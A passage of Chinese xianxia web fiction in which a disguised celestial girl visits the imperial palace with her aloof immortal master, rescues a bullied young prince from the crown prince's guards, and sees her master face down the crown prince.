拿回乾坤囊后,慕砚恒似也没了跟着她的兴致,转身便走了。青容眨巴眼,忍不住瞥了眼在地上痛苦喘气的人,不过好歹还能坐起来,应当没有真的受伤,确定没什么大事后,她才在众人视线的聚集中颠颠跟上不远处的身影。
慕砚恒下手还是留了情面的,雷声大雨点小,照顾她幼小的心灵。
“师父走慢些!”她试探着喊。
那身影略微一顿,青容加快脚步总算追上,她嘟嘟嘴,轻轻抓住慕砚恒的衣袖:“师父我错了,我就是第一次来京城,想到处看一看,没想到会遇上坏人,幸亏有师父在,徒儿这乾坤囊才能保住。”
这番话又是解释,又是把慕砚恒夸了一番,应该没什么问题吧?她想。
果然,慕砚恒没有将衣袖抽回,他脚步很慢,像是在沉思,青容自觉闭了嘴——虽然她来这的目标是攻略,但目前他俩还是师徒关系,徒弟终究是低一等的位置,她必须暂且恭敬些。
况且这件事本来也是她理亏。
两人就这样一路无言,青容拽着慕砚恒的衣袖,无数人从她身侧来来往往,却没有一个人再撞到她。倒是慕砚恒那,总有人好奇张望,脸和气质摆在这,但凡他神情不那么冷冽,或许就不止张望这么简单了。
马车停住的地方本来也已到了京城内部,距离皇宫并不算远,两人走了一炷香时间,周围民众越来越少,巡逻士兵也随之愈发增多,直到可以望见宫门。
举目四望,青容内心咂舌——这皇宫实在恢宏壮观,一点不比仙界楼宇差,只是建筑颜色稍微深些,显得更加沉厚古朴,带着时代年轮碾压的岁月感。
两人身影骤一出现,立刻有个笑容可掬的公公迎了上来,对着慕砚恒结结实实行了个拜礼:“老奴参见王爷。”
青容一愣,王爷?不是皇叔吗?她记错了?
“他现在还是王爷,未来才是皇叔,得等下一届皇帝上任。”鎏虹大概是听到了她心中的疑惑,解释道,“他是异姓亲王,是先皇受了他父亲的大恩,下旨将他封王的,差不多也类似于义子吧。”
“年纪轻轻,位高权重啊。”青容感叹,“若是我有这样的机缘,我一定当个纨绔浪荡子,方不负这开篇即巅峰的人生。”
“也不是,毕竟没有实权,只是他入了仙门,又打出名堂,声誉人尽皆知,所以王爷地位相对稳固,而且仙门不得插手皇家事,不然当今皇帝早忌惮他了,他现在就类似于个皇家牌面,偶尔亮个相而已。”
解释的过程中,两人已经被迎了进去,那公公在前面引路:“老奴姓曹,得知王爷今日要来,陛下正在殿中候着,还请王爷移步一叙,这位是……”曹公公的目光落在了青容身上,带着几分好奇。
“徒弟。”慕砚恒道。
“原来是王爷的爱徒,失敬失敬。”曹公公又是一笑,大概看她年纪太小,带着几分哄人的语气,“王爷要去殿中同陛下一叙,这位……姑娘,想必是第一次来皇宫,要不老奴先带你四处走走?”
青容自然不会主动添麻烦,她点点头,松开慕砚恒的衣袖,装作几分胆怯的模样,脆生生道:“那师父先去吧,徒儿会照顾好自己的,不会让师父担心。”
慕砚恒极快地瞥她一眼,似是欲言又止,曹公公立刻接道:“老奴定照顾好她,请王爷放心。”
慕砚恒满意地点点头,这才脚下生风的走了。
“行了一路,姑娘是否要歇息?”曹公公笑眯眯问。
青容倒不怎么觉得累,或者说相比于休息,她更好奇这凡间皇宫是什么模样:“不了,多谢公公,我想自己到处看一看,嗯……观瞻一番皇家威仪。”
话已至此,曹公公自然不可能再拦着她:“好吧,那姑娘有事可随时呼唤老奴,老奴会一直在姑娘身后三十尺。”
青容回了个笑,她生的漂亮可爱,又十分懂事,曹公公的心也不由自主软了三分,甚至觉得慕王爷好福气,有这么个徒弟伴着,修仙生活一定是其乐融融的,充满温馨的。
曹公公就跟在她后面,不远不近,是个不会打扰也能随时赶到的恰当距离,青容从乾坤囊掏出块纸糖,含在口中,顿时觉得连风都甜了几分,心想此趟下山果真值当,不愧是她撒泼换来的福利。
这皇宫着实是大,幸好她不是路痴,否则可能看到红墙砖瓦都得头疼,这么毫无目的地绕着绕着,不知不觉就到了一处小别院。
别院倒没什么特殊的,栖星阁到处都是,且风雅许多,青容对此处没什么兴致,只是她刚准备离开,却突然听到了一声压抑的闷哼。
紧接着,又是声声碰撞般的闷响,以及杂物被撞翻的嘈乱,没有规律,像是在打架。
居然有人敢在皇宫内动手?还敢闹这么大动静?
青容心中一凛,立刻屏息靠近,身后的曹公公想劝时已经来不及,只能快步跟上,跑得直喘气。
混乱的场面一览无余,青容面色有些凝重。<
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她看到一个六七岁模样的瘦弱小孩将自己抱成一团,缩在地上,三四个侍卫模样的男人正对其拳打脚踢,没有半分留情,小孩身上都是灰土,狼狈不堪,他太瘦小了,好像再多踹一脚,就会当场断气。
宫内怎么会发生这样流氓似的斗殴?不,是欺凌。
“这是庶出的六皇子,皇妃生他时难产走了,陛下也不是很待见他。”曹公公小声解释,“这些侍卫是其他皇子的人,姑娘还是莫管此事。”
可是看都看到了,怎么可能当无事发生?
她并不是皇亲国戚,不了解什么权利斗争,势力打压,她只看到这里有一个年纪比她还小的小孩要被打死了,如果当真不管,午夜梦回都睡不安稳。
她犹豫的,只有担忧因为自己的莽撞,牵动了慕砚恒那边,她并不想给别人添麻烦。
又是一脚下去,小孩这次连挣扎的动作都没有,像是已经晕厥,可那些侍卫依旧没有停手的意思,甚至抓起了他的胳膊,要把人往水池那拖。
青容瞳孔骤缩,几乎是本能开口:“住手!”
这已经是蓄意谋杀了,再不阻拦,她就要生生看着这小孩被溺死!
似是没想到会有人制止,几个侍卫都是一愣,身后的曹公公额间已出薄汗,但一想到这姑娘是慕王爷的徒弟,还是稍稍放心了些——皇家和仙门的后台摆在这,起码不会有人真的敢追究她。
但几个侍卫并不认识青容,只随手把男孩扔到一边,蔑然问:“你是何人?”
青容这才看到男孩并没有晕,因为他正努力朝她的方向偏头,瞧着狼狈又可怜巴巴,她心头一紧,更觉愤慨:“为何要溺死他?”
“溺死?怎会?”最前面的侍卫哈哈大笑,“死肯定是不会死的,最多折腾一下,毕竟是六皇子,真出了事,我们可担不起,不过,你又是什么人?在此多管闲事!”
曹公公说的没错,如此嚣张,定然是其他皇子作为,青容深吸一口气,没有理他们的质问,只是跑过去将人扶了起来:“你怎么样了?”
看起来当然是不怎么样的,男孩好像怕自己脏了她的衣服似的,哆哆嗦嗦拂开她的手:“没……没事,你快走,他们是太子的人。”
居然是太子,未来的皇帝……青容咬咬牙,如此恶毒之人,她若真做了这种人的皇后,那当真是恶心至极,万年耻辱。
“起来,我带你离开。”青容小心翼翼将男孩扶起,她实在做不到看到了还能一走了之,如今救都救了,总要好事做到底。
“停下!让你走了吗?”几个侍卫却并不甘心,他们手中虽然没有武器,但面对两个小孩,赤手空拳也足矣,“你这般带走他,倒也不怕太子殿下追究?”
“我只是救人,本来我也没做错。”青容瞪着他们,“他也没做错,是你们仗势欺人,蛮不讲理!”
男孩一怔,手握成拳,指甲几乎镶入掌心,他死死盯着青容的侧脸,满脸脏污,更显得那双眼睛极亮,像是照映着最耀眼的希冀。
在几个侍卫眼中,这倔强的女孩身份不明,但毕竟能入皇宫,看这打扮,起码是个官宦人家的千金,还有个公公留在这,倒也不能轻易动手。他们对视一眼,为首的冷哼一声:“那你把他带走吧,不过……你能保他一次,难道未来每一次都能及时赶到?还有你自己,皇宫凶险……哼,你可得小心些。”
9. 为人师表
宫墙内,男孩满身脏污,衣服被地上的碎石划出许多个小洞,变得破破烂烂。刚刚被拳打脚踢了那么一顿,身上一定是疼的,但他一声不吭,只默默低头走路,似乎一切只是一场玩闹。他的眼神是平静的,黑漆漆的眸子像两潭死水,映不出半点波澜。
青容忍不住看他一眼又一眼:“你……还好吗?”
男孩若无其事般点点头:“嗯,没什么大碍的,但那帮人可能会找你麻烦,你近日避一避吧,别让他们找到你。”
这番话说的忒不客气,但也着实是好意,只是愈发让人觉得这小孩实在可怜,瞧着这满身污痕,她实在难以置信会有皇子过得这么凄惨,连平民家耕地的老牛待遇都不如。
鎏虹适时的出了声:“这的确是六皇子,名唤贺景麟,景色的景,麒麟的麟。”
青容心想,倒是个野心勃勃的名字,然而这种名字出现在这么个凄惨的小孩身上,便显得不是那么恰当。
只是她觉得既然敢取“麟”字,说明当今皇帝最开始对他的期望应该挺高,可如今却这般不受待见,属实可怜的过分。她甚至莫名其妙觉得,如今贺景麟被打压成这样,或许除了生母身亡和父亲不管不顾之外,这个嚣张的名字指不定也是个令人看不惯的借口之一。
宫墙很高,带着无形的压抑感,青容犹豫着问:“六皇子,要不……你寻个地方等我片刻,我去给你取些药来?你年纪还小,伤病不治会有很大影响。”
贺景麟的视线再度落在她身上,带了些许愕然:“这些伤不碍事的,不过,你不是宫内的人?”
“不是,近日宫内寿宴,我随……家人前来参加。”青容也很惊奇,“你怎么看出来的?”
贺景麟顿了顿,自言自语嘀咕:“竟忘了寿宴,怪不得今日皇宫如此热闹。”随之又是一声轻笑,“宫内的人不会对我这么好的,所以你当然来自宫外。”
更惨了,简直闻者落泪听者伤心。
“宫宴你会去吗?”
“嗯,皇子都得去,只是我不会在正坐而已,但也有东西吃,宫宴会来许多人,这种场合,他们不会对我怎么样。”贺景麟看着她,面上是不符合年龄的浅淡笑意,“你是哪家官员的家眷吧?宴会上最好不要轻易露面,尤其不要被太子的侍卫看到,会有麻烦。”
青容默然,有慕砚恒这尊大佛杵着,宫内麻烦大概是不会有,但回去之后会有另一个麻烦找上她。
贺景麟说的对,宫宴上她得低调再低调,早知道未来皇帝是这个鬼样,她才不愿意抱着怜悯之心来看两眼,不过顺手捞了个被打的半死的小皇子,倒也不亏。
没人会嫌人脉少,况且是这种付出代价较低的恩情。
“出来时间已久,姑娘该回去了。”
一直跟在身后沉默不语的曹公公不知何时赶了过来,青容能听出这是提醒她不要和贺景麟走的太近,人已经捞出来,那帮侍卫应该暂且不会再出现,在这停留的时间确实已久,青容便点点头:“好的,那六皇子,我就先走啦?”她又递给他一个白色瓷瓶,“这是跌打药,你回去自己涂一下,虽不如其他药,但也很有效。”
贺景麟怔了怔,接过瓷瓶后微微一笑,他脸上还有尘土和淤青,一双眼睛却分外漂亮,抬眸间显得天真又纯净,他安静望着青容同他挥手告别,直到她的身影消失在宫墙角落。
寂静无声,白瓷瓶被他捏在指间,转了又转。
忽的,他眼中笑意淡了下去,继而染上一层不大明显的阴翳,像是耀眼的光被乌云尽数遮住,再不复刚刚的纯澈。
…
青容回去时,慕砚恒也恰好与人同行出殿,他身侧是一位三十出头模样的中年男子,锦服华冠,龙纹袖于衣角,精致张扬,很是威风凛凛,正是当朝帝王,国号为昌,又称昌帝。
昌帝正眉飞色舞,对着慕砚恒不知在说些什么,甚是兴奋,相比之下慕砚恒显得格外风轻云淡,他面上无甚神情,但略微侧耳,旁人一眼就能看出他有在认真听。
青容咂舌,震惊于冷漠和礼貌居然能同时出现在他身上,谁都能瞧出他不喜与人太亲近,但又不算特别疏离,像是正好卡在一个临界的边缘,简直把人际交往做到了极致。
她并不是瞬移过来乍的出现,而是和曹公公一起慢慢走过去,慕砚恒自然注意到了她,示意性颔了颔首。青容老老实实待在原地,直到昌帝终于噼里啪啦说完一大堆话,也跟着看到了不远处的女孩,登时眼睛一亮:“砚恒,这是你女儿?”
青容:“……”
就没听过这么荒谬的事。
慕砚恒倒平静,随口解释:“徒弟,叫青容,刚收没多久。”
“哦原来是徒弟啊,哈哈,也是,你在仙门名声太响,朕总是忘了你只有十六岁。”昌帝尴尬笑了笑,眉宇间还算和蔼,“明日宴席小阿容也来吧?近来宫内热闹得很,可不能错过。”
“我会跟着师父的。”青容脆声道。
“好孩子。”昌帝眼睛都笑成了缝,他忽的看向慕砚恒,“正好,明日让她见见朕那些不成器的儿子们,尤其太子,他们年纪相差不大,说不定可以玩到一起,若是很聊得来,那就再好不过了。”
这番话完全是类似于撮合亲戚关系的关心话语,可青容敏锐的从话语里捕捉到一丝别的意味,再回想一下历劫所需的条件任务,这个意味登时变得格外明显。
她来之前的确想看一看这位绿帽英雄,可见识了贺景麟的凄惨,她愈发觉得太子不是什么好东西。而且,她刚刚才和那群侍卫结下梁子,若是就这么堂而皇之出现,岂不是会有麻烦?
但又不能当面拒绝皇帝,她只得先缄口不言,听慕砚恒顺口应付,待昌帝满意离开,慕砚恒缓缓行至她身侧时,她果断伸手抓住了慕砚恒的衣袖。
“师父……”青容小声唤着。
慕砚恒一顿,垂眸看她,眉宇间染了丝困惑之意,青容眨巴眼,指尖收紧:“那个……有一件比较重要的事情要和师父说,但不能让别人听见,能不能……”
这附近其实并没有人,小孩安全交到家长手中,曹公公早已随昌帝离开,大殿前空荡荡一片,放眼望去也只有他们两人的身影。
慕砚恒本想让她直接说,但看
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她这神秘兮兮欲言又止的样子,像是遇到了什么极其艰巨的事,他凝神思索一瞬,干脆一撩衣摆,半蹲下来,侧耳在青容身前:“说吧。”
青容倒没想到慕砚恒这么顺从,反而让她哽住,脱口而出:“算了不说了。”
慕砚恒:“……”
他眸光一冷,带着被戏耍的恼怒,趁青容溜走之前,一把抓住了她的胳膊,沉声道:“说。”
这人原来吃欲擒故纵那套呢?青容暗戳戳想。
她清了清嗓子,憋出一副委屈样,甚至添油加醋了一番:“我刚刚遇到有人被打,顺手救了一下,打他的人就威胁我,说若我再出现,就把我抽筋剥皮,挫骨扬灰,让我不得好死!太凶了,徒儿害怕的很,所以明日的宴席,徒儿就不去了吧?”
这话术是她前一秒临时转变的,若慕砚恒真的吃这套,那应该……
“怎么,惹事的时候什么也不想,这会担心有人报复?”慕砚恒轻嗤一声,“无妨,你照常随为师去宴席,若当真有人找麻烦,为师会为你准备伤药的。”
“……”
随后的一路,青容始终和慕砚恒保持了三尺远的距离,慕砚恒步子很大,青容哼哧哼哧的紧跟,一边带着小跑一边偷偷瞪他,内心一秒能骂八百句。
“你听听这是为人师父能说出的话吗?”她找鎏虹恶狠狠道。
“哎呀,所以说了不好攻略嘛,他性格本就不易接近,你们才认识这么点时间,以后会好的,陈年老冰得慢慢融。”
“这么下去,感觉他还没化,我得先化了。”
青容满心怨气,又没地方发,只能把步子跺响些,慕砚恒负手行于她身前,像是完全听不到似的,背影极其凉薄,面上也依旧无甚表情,但他并没有再加快步伐。
片刻后,他停步在一处殿宇前。
这下停的有些突然,青容也在分神,恍惚间差点撞在慕砚恒身上,所幸及时收住脚,她若无其事后退两步,继续沉默。
“阿容,为师忘了一件重要的事。”慕砚恒忽的道。
青容过了两三秒才反应过来这个“阿容”是在喊她,可能是从昌帝那汲取的灵感,听着怪别扭,但似乎比喊全名要亲切些,青容便也忍了:“师父忘了什么?”
“为师以往来此宫宴,无需他人伺候,都是一个人住一处,固定了许多年,这皇宫空余的殿宇并不多,且相隔甚远。”慕砚恒轻飘飘回身看向她,“所以,安全起见,你今晚在殿外睡。”
青容:“?”
什么东西?
这人刚刚说什么?
“我……在殿外睡?”青容都怕自己一口气没上来直接过去,“这附近……没有房间了吗……”
让七岁的女孩大晚上睡殿外,还是冬天,这真的是常人能说出来的话吗?这真的是一个师父能做出来的事吗?
“附近临时寝殿早已住满,不过睡在殿外确实不恰当,他人还当是本护教体罚徒弟。”慕砚恒思索一番,对着青容略带希冀的眼神,带着几分肯定和鼓励的说,“那就别睡了,你通宵守门吧。”
“……”
10. 好师父
今年冬天不算太冷,宴席这几日都未曾下雪,京城地处中原偏右,也不像江南那样潮湿,夜晚屋内燃起炭火,反倒衬得冬夜愈发静谧,倒也暖和舒适。
亥时,宫中寝殿大部分已熄了灯,青容仍抱着枕头,死死盯着坐在榻上的慕砚恒,身上怨气几乎能养活十个恶鬼。
只是她站起来还没慕砚恒坐着高,这样瞧着颇没气势。
“外面很冷。”青容坚决抗议,“徒儿在外面冻一晚上,可能会死掉。”
慕砚恒云淡风轻:“不会,你有为师的仙障护体,最多冻僵。”
“……”
谁知道这殿内为什么就一张床,可能是为慕砚恒量身打造,统共三个房间,一处卧室,一处书房,一处放置着各种武器,像是练剑用的室内武场,非常花里胡哨。
房间以屏风相隔,一眼望去大的很,但床的确就这么一张,估计宴席之前也没人能想到慕砚恒会带个人来,也就自然不可能有所准备。
别说慕砚恒绝不允许有人和他同塌而眠,就是她自己也不可能接受,虽然有师徒关系做铁隔阂,但她毕竟不是真的七岁孩童,这么个活生生的男人和她一个被窝,比噩梦还恐怖百倍。
“还有一床薄被子,我可以去书房打地铺。”青容坚决道。
慕砚恒依旧冷淡:“为师不习惯睡觉时殿内有人。”
青容死皮赖脸:“那麻烦师父习惯一下,徒弟的死活显然更重要一些。”
炭火的暖光照在两人身上,驱散些许寒冷,慕砚恒极轻的哼了一声,一时没否定。
这样的犹豫十分难得,青容干脆当成默认,哒哒哒踩着鞋从旁边的木箱里拿薄被出来,又滴溜溜扛到书房,直接把薄被往身上一裹,将自己裹成了粽子,再蚕蛹似的往地上一趴,正巧倒在枕头上,动作可谓一气呵成,十分流畅,年仅七岁,娴熟得宛如流浪七十年。
在屏风旁观看了全程的慕砚恒:“……”
不知道的还以为是毛毛虫。
青容脖子以下都被自己裹了起来,只露出个毛茸茸的脑袋,她又恶狠狠往慕砚恒那看了一眼,故意哼了哼,再滚了半圈,背对慕砚恒自顾自睡觉去了。
房内登时一片寂静,只剩下炭火燃烧的声音,窗外寒风呼啸,从窗户的缝隙中钻进来,随即被炭火驱散,只剩下一片模糊的暖光,更显得慕砚恒面部轮廓流畅分明,只是瞳孔却愈发幽暗深邃,如画的眉眼唯有一片冷寂。
那影绰的烛光似乎永远也无法映入这双冷眸之中,少年未完全长开的身形还有些许单薄,他慢吞吞解开束发的发冠,静默半晌,最终没有将青容赶出去。
房内重新陷入沉寂,烛火熄灭,只剩下炭火的微光若隐若现。
与他人同房而眠,而且还不是一般人,青容本不敢睡踏实,然而折腾一天实在太累,闭眼后没多久,背后窸窣的衣料摩擦声也逐渐平息,青容紧绷的神经不知不觉放松,最终呼吸匀称,意识随即消失。
可能是房内安神香的作用,这是一个踏实的夜晚,青容甚至没怎么做梦,几个时辰似乎只是一瞬间便悄然而过。
因书房靠近窗口,第二天清晨,她是被阳光刺醒的。
身上裹着的薄被早就被垫到身子底下褶成一团,她浑浑噩噩伸了个懒腰,刚准备打个踏实的哈欠,余光却瞄到了桌案边近在咫尺的身影。
哈欠打到一半生生僵住,青容险些下巴脱臼。
“醒了?”慕砚恒淡淡看着她,手中还握着笔,“洗漱一下去吃东西,包子和粥还温着,自己去取。”
青容方才意识到自己这见鬼的睡姿怕是被一览无余了一个早上,她难得有些尴尬:“呃……那我吃饭去,师父先忙哈……”
洗漱用餐完,青容因时辰还早,暂时还是回了屋内,慕砚恒居然还是刚刚的姿势,只是手中的笔变成了书卷,也不知道在看些什么,听到开门声,他的视线轻飘飘落在她身上:“过来。”
青容磨磨蹭蹭挪了过去。
“今日便是宴席,一些注意事项,为师给你重新写了份详细的,你再看一遍。”
很显然,这人并不相信她背完了之前那份。
青容草草扫了一眼,内容扩充并不多,大部分她早已记过,然而有慕砚恒这尊大佛在,她还是得演绎一翻求知若渴。
“师父,这个是什么字?”
“师父,这个词又是什么意思?”
“这又是什么姿势?师父能不能演示一下?”
青容本着想烦他的目的,看到点生僻的字或词语便直接开问,她确定慕砚恒的眉心有那么几个瞬间抽了两下,然而整体居然是出乎预料的耐心。
慕砚恒竟真的一点点解释,教她读字,写字,助她摆礼仪动作,挑不出任何毛病,和她仙界认识的先生并没有什么区别。
“这下记住了?”慕砚恒渐渐松开助她写字的手,但也仅仅是握着笔杆,并没有触碰到她。
“嗯,记着了。”
有时候青容不得不承认,在慕砚恒偶尔正经传道受业解惑的时候,他的确是个好师父。
这皇宫显然无人胆敢打扰慕砚恒,青容一上午无所事事,时而打坐,时而跑到隔壁屋耍耍剑,拉拉弓,因拉不动遂作罢,百般聊赖时,她甚至胆子颇大的溜达到慕砚恒身侧,看看他在看什么书,被慕砚恒轻飘飘瞪一眼再默默离开。
终于,不知过了多久,青容正趴在被褥上想着修行口诀,忽的有人轻轻敲门:“王爷,宴会即将开始,请移步正殿。”
青容这才注意到慕砚恒居然不知何时已经整装,乌黑长发玉簪束起,他一身藏黑古朴长袍,襟口白鹤羽图纹栩栩如生,腰封玉饰悬挂贴于劲瘦腰间,少年长身玉立,覆身的衣氅为他添了丝矜贵,较来时更显庄重端肃。
本就是高高在上的仙君,自然不缺乏上位者的威仪,况且脸摆在这,青容早猜到他皇室打扮会很惊艳,但还是忍不住咂舌,这气质……扔去当皇帝也绰绰有余。
去外头溜一圈,足矣神魂颠倒半城姑娘。
这美貌实在吸睛,以至于慕砚恒朝她伸手的时候,青容还有些受宠若惊的没反应过来。
“呆什么?”见青容一时没动,慕砚恒还以为青容临了胆怯,向来凛若冰霜的语气难得不那么刺人,“不用想别的,跟着为师走便可。”
青容收回神思,但显然没有完全收回,因为她一个没注意,直接抓住了慕砚恒的手。
掌心一软,慕砚恒眉心略微蹙起,一瞬间本能想要甩开这种令他抗拒的接触,他也察觉到青容似乎想将手抽回去,但随即,他心一横,反而将指尖紧了紧。
要当个令她依赖的好师父,总是要和她亲近些的,最恶毒的复仇总要付出代价,这不算什么。
反倒是青容愣了愣,她刚刚脑抽,忘记得抓衣袖,这人居然没当场把她扔出去,转性了?师徒情意终于有效了?可她也没干什么啊。
总不能先毛毛虫后四仰八叉的在他书房睡了一夜,慕砚恒反而觉得她可爱吧?
两人的内心在同一时间
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进行了完全不同的万般挣扎,最终还是手拉手共同出行,画面颇为和谐,只有鎏虹恨不得对着青容竖起大拇指:“你真勇!”
“嗯……看来其实也没那么不好接近,仗着年纪小不懂事偶尔莽一莽是对的。”青容抿抿唇,登时又觉得充满希冀,“所以我什么时候才能确定攻略成功呢?”
“你这还早呢,站着没人家腰高,小屁孩一个,完全只有教导和养育的交情。”鎏虹沉吟,“所以肯定起码还得等十来年,亲情没用,得从他初次动心开始,之后你会看到进度条的,达到一百就是成功。”
“是哦,还早呢,哎,遥遥无期。”
仙界千年岁月都是弹指一挥间,青容却觉得这十年实在漫长,为什么不能让她晚来十年直接十七岁?这十年的师徒之谊听着就很煎熬好不好?
她自顾自藏着心思,慕砚恒也不是什么多话的人,两人牵着手一路无言。只是她发现慕砚恒的掌心并不像他看起来那么冷,反而是暖的,或许因为经年拉弓练剑的原因,带了些薄茧,触感反而更真实了些。
青容起初还觉得怪异,多走几步后便也习惯了,小辈依赖一下长辈,这很正常,哪有师徒相互避之不及的?瞧瞧这多和谐的一幕啊。
“你先过去。”
结果她刚劝服自己平常心看待,手就被慕砚恒松开了。
“师父?”青容抬头看他,面露不解。
“前面有人在等你。”
慕砚恒并没有过多解释,转头从另一条道走了,留下青容一个人在原地迷惘。
不过她没有迷惘多久,就有人从角落走了出来,怯生生朝她打招呼:“姐姐,你……午好?”
青容一看,正是换了身新衣服的贺景麟,依然瘦瘦小小的,但好歹多了精神气,她有些惊讶:“哎?你也在这?真是巧了。”
贺景麟不好意思地挠挠头:“我……跟着你的,但怕给你添麻烦,就没有出现。”
看来是慕砚恒察觉了,才丢下他俩这同龄人单独相处,贺景麟显然比她更惊讶,眼睛都放着光:“原来姐姐你是皇叔的徒弟吗?他们说皇叔带了个人来,没想到是你。”
先前听别人喊王爷还不觉得,但这声“皇叔”一出口,辈分和身份隔阂更加明显,青容登时觉得那些狗血剧情简直近在咫尺,加倍背德,想一下都头皮发麻,抓耳挠腮。
她干笑:“是啊,不久前才拜的师,我叫青容,你唤我名字就好。”这一声声姐姐喊的,怪不好意思的。
但贺景麟依旧很坚持的不改称呼:“姐姐不和皇叔一起走吗?”
“他……性子冷,想自己走,正好你在,我们一同过去便是。”
贺景麟显然也不是什么多话的人,而且怯生生的,身为皇子,去宴席的路上居然也就两三个随从,可谓十分寒碜,她瞧着不禁可怜,干脆举手之劳捎带一程,免得他又让人欺负。
这一路还算顺畅,不稍片刻,他们离宴席前殿已然很近,许多华服公子路过他们身边,都会捎带看两眼,青容心里明白,她并没怎么在皇宫露过面,这些人大概是来看贺景麟的。
她略伸长脖子寻找慕砚恒的身影,只是并没有寻到,大概是路上有所耽搁还没有来,正当她收回目光准备等一等时,她的肩膀被人轻轻拍了一下。
青容懒洋洋偏头看过去,身侧的贺景麟却突然挡到了她的身前,一副如临大敌的模样,她登时清醒,瞧着身前十二三岁的男孩略微蹙眉。
“就是你,从孤的手下,把他带走了?”
11. 护短
男孩体量微胖,华服上绣着的金线几乎反光,很是奢华,他身后还跟着数十侍卫,虽没有带武器,但一看也都是练家子。一帮人虎视眈眈盯着她和她身侧的贺景麟,丝毫不掩藏不怀好意的目光。
旁边有人注意到这边的动静,却都急匆匆走了,无人胆敢停留,避如蛇蝎似的。
青容自然猜出此人身份,随即淡淡一笑:“太子殿下,午好。”
她没有行礼。
“当今太子名唤贺长宇,性格暴躁,嚣张跋扈的很,你小心些应对。”鎏虹提醒她。
青容自然清楚,然而她对这种欺软的人着实做不出什么好脸色,贺长宇居高临下地上下打量她,冷哼一声:“见到本太子,竟不行礼?你是哪家生的?这般不懂规矩?”
被打量,是青容习以为常的事,无论是在仙界还是如今在仙门,只不过被这种人打量还是头一遭,虽然瞧着只有十二三岁,但也能想象出这种人长大后会是怎样令人厌恶。她唇角微微扬起,眸中却无半分笑意:“我不懂规矩,还望太子殿下见谅。”
贺景麟绷着脸挡在青容面前,不曾移开半步,他清楚的知道贺长宇出现在这里是为什么,既然已经连累她,那就必须他来挡,否则就是恩将仇报,连个人都不算。
贺长宇年纪不大,又被恭维惯了,并没有察觉出青容语气里的嘲讽,他哈哈大笑,面上尽是得意之色:“从我手里抢这个小废物的时候,不是挺嚣张的吗?现在知道怕了?知道被打是什么滋味吗?你问问他,嗯?”
贺景麟全身一颤,本能往后退了两步,几乎要贴在她身上,但依然没有移开,青容静默半晌,忽的想到了慕砚恒给她写的规矩里,有这么一条。
“仙门中人,不可参与皇家斗争,无论遇到什么都需置身事外,若强行参与,不可对外暴露仙门身份。”
她有两个选择,要么藏着身份动手,要么亮身份把人逼退,慕砚恒这个后台还是足矣让她脱困的。
可无论是什么选择,都只护得了贺景麟一时,护不了永远,宴席就这么几天,待她一走,不知道这小孩会经历什么惨无人道的虐待。
万一虐死了怎么办,她好不容易留了点恩情,可不能就如此浪费。
所以,无论昌帝知不知道这件他眼皮子底下的事,她都必须要和昌帝说明,哪怕是用慕砚恒的名义。
面前数人突然靠近,并开始摩拳擦掌,竟真就打算在宴席众人不远处动手,荒谬至极,青容内心无奈,扣住贺景麟发抖的肩膀,小声道:“你让开,没事的。”
贺景麟侧目看她,却摇摇头:“不行……他们是冲我来的,姐姐你直接走,去找皇叔。”
“皇叔?”贺长宇像是听到什么笑话,“哈哈哈,找皇叔?你在说什么鬼话?皇叔那种仙门人,又是那样冷的性子,他会管你们的死活?况且皇家的事,仙门中人无权插手,哪怕他是皇叔!”
“但皇叔自己徒弟的死活,皇叔总是要管的。”贺景麟咬着牙,“她是皇叔的徒弟,你敢伤她试试?”
空气微微凝滞,贺长宇有一瞬间的怔忡,但随即笑得更大声:“你开什么玩笑?被打糊涂了?皇叔的徒弟?皇叔会有徒弟?还护着你?做什么春秋大梦呢?”
然而这两人却没有半点被戳穿的慌乱和懊恼,反而比刚刚还要沉静些,让贺长宇忽的也没了底,他咽了口唾沫,强撑着刚刚的嚣张:“况且,就算你真的是皇叔的徒弟,孤是太子,只要仙门和皇家互不干涉的规矩一日在,他就不能越界。”
大概是觉得此番话极其有理,他越说越自信,声音更大:“甚至就算孤当着皇叔的面千刀万剐了你,规矩在此,他又能做什么?啊?他能做什么!”
寒风凛凛,贺长宇的声音很是吵闹刺耳,青容淡淡看着他,并没有分毫慌乱,尤其是在指尖触及到一片微凉的衣角时,她头一次觉得有几分预料之中的安心。
“你猜本君能做什么?”
一道清冽又低沉的声音让贺长宇彻底僵在了原地,他还保持着刚刚嚣张气焰的架势,面上却已半笑半哭,滑稽得很。
少年身覆裘氅,身量颀长,面容俊雅却凛若冰霜,他的目光定在贺长宇身上,幽暗深邃,甚至带了分戏谑。
“师父。”青容轻唤,拽着他的衣袖,实在有些忍不住想笑。
她算是明白为什么有人喜欢“趋炎附势”了,原来背后有靠山是这样一种感觉。
“皇……皇叔。”贺长宇硬着头皮,对慕砚恒行了晚辈礼,“皇叔不是去宴席了吗?怎么会……出现在这里呢?”
“徒弟在这里,本君还会去哪?”慕砚恒掌心一转,轻轻抓住了青容的手腕,往前走了两步,“听说太子殿下要将本君的徒弟千刀万剐,是吗?”
“不不不……”贺长宇被盯得脊背发寒,“孤就是开个玩笑,玩笑而已。”
“竟是如此。”慕砚恒偏头,“那阿容,你喜欢这个玩笑么?”
青容耸耸肩,轻飘飘煽风点火:“不喜欢,他说话吓人得很,动不动就要打人,徒儿都以为今天要死在这了。”
虽然慕砚恒之前嘴上说不会管她,挨打了只会给她丢点药云云,但此情此景,傻子都能看出他是认真的要给自己徒弟出头,她作为当事人,自然也要见风使舵一番。
另一边的贺长宇面色惨白,刚刚叫嚣时头脑发热,直到现在他才想起他父皇对他的千叮咛万嘱咐。
“绝不可惹到你皇叔,他是仙门之首临霜教护教,若和他撕破脸,皇家和仙门关系极有可能破裂,会有很大麻烦。”
他当然知道连他父皇都得好声好气和这位异姓亲王说话,若是这件事闹大,他的太子之位……或许就保不住了。
“孤……孤不知道她是皇叔的徒弟。”贺长宇磕磕巴巴,额间急出薄汗,“皇叔请不要告诉父皇,孤再也不会出言不逊了,孤这就给皇叔道歉,也给皇叔的徒弟道歉!”言罢,他极隐蔽地瞥了眼贺景麟。
青容指尖一紧,晃了晃慕砚恒的衣袖:“师父。”
慕砚恒垂眸看她欲言又止的模样,大概是有什么话要说,但这里人多,他并不想半蹲下去听,于是干脆直接把青容抱了起来。
“说吧。”他道。
青容没想到慕砚恒会突然把她薅到怀里,结结实实吓了一跳,也就幸好慕砚恒一如既往冷着脸,还隐约有一丝嫌弃,不然简直像要拐骗小孩:“那个……徒儿想和昌帝说一下贺景麟的事,就是刚刚在我前面的那个小孩。”
“可以。”
然后又把她放了下去,好像抱着的是个枕头,随抱随丢。
青容:“……”
